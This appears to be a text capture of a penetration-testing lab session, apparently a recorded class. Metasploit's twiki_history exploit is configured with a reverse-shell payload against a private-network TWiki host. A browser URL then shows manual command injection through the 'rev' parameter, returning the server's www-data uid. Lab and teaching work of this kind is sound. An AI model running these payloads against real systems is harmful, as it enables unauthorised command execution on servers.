

```
kali@kali: ~  
File Actions Edit View Help  
Trash ||| ww|||  
||| |||  
+ --=[ metasploit v6.4.5-dev ]  
+ --=[ 2413 exploits - 1242 auxiliary - 423 post ]  
+ --=[ 1468 payloads - 47 encoders - 11 nops ]  
+ --=[ 9 evasion ]  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search TWiki  
Matching Modules  
# Name Disclosure Date Rank Check Description  
0 exploit/unix/webapp/moinmoin_twikidraw 2012-12-30 manual Yes MoinMoin twikidraw Action Trave  
rsal File Upload  
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugenableplugins Remote  
Code Execution  
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Pa  
rameter Command Execution  
3 exploit/unix/webapp/twiki_makertext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command E  
xecution  
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary  
Command Execution  
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search  
msf6 > search TWiki  
Matching Modules  
# Name Disclosure Date Rank Check Description  
0 exploit/unix/webapp/moinmoin_twikidraw 2012-12-30 manual Yes MoinMoin twikidraw Action Traversal File Upload  
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugenableplugins Remote Code Execution  
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter Command Execution  
3 exploit/unix/webapp/twiki_makertext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command Execution  
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary Command Execution  
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search  
msf6 > 
```

```
msf6 exploit(unix/webapp/twiki_history) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options
```

Module options (exploit/unix/webapp/twiki_history):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
URI	/twiki/bin	yes	Twiki bin directory path
VHOST		no	HTTP server virtual host

Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/webapp/twiki_history) >
```

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/webapp/twiki_history) > set LHOST 127.0.0.1
```

```
LHOST => 127.0.0.1
```

```
msf6 exploit(unix/webapp/twiki_history) > show options
```

Module options (exploit/unix/webapp/twiki_history):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
URI	/twiki/bin	yes	Twiki bin directory path
VHOST		no	HTTP server virtual host

Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/webapp/twiki_history) > exploit
```

```
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
```

```
[*] Started reverse TCP double handler on 127.0.0.1:4444
```

```
[+] Successfully sent exploit request
```

```
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(unix/webapp/twiki_history) > 
```

kali-linux-2024-virtualbox-amd64 (Istantanea 1 - upgrade.kali.ver.2024.1) [In esecuzione] - Oracle VM VirtualBox


FileMacchinaVisualizzaInserimentoDispositiviAiuto

1234

FileModificaVisualizzaCronologiaSegnalibriStrumentiAiuto

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|id||echo%20

Kali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DBOffSec

 **TWiki** > [Main](#) > **TWikiUsers** (r1.2|id||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2|id||echo - 01 Jan 1970 - 00:00 GMT -

Copyright © 1999-2003 by the contributing authors. All material on this collaboration platform is the property of the contributing authors.
Ideas, requests, problems regarding TWiki? [Send feedback](#).

Webex | 57:18

Marc

© Non ver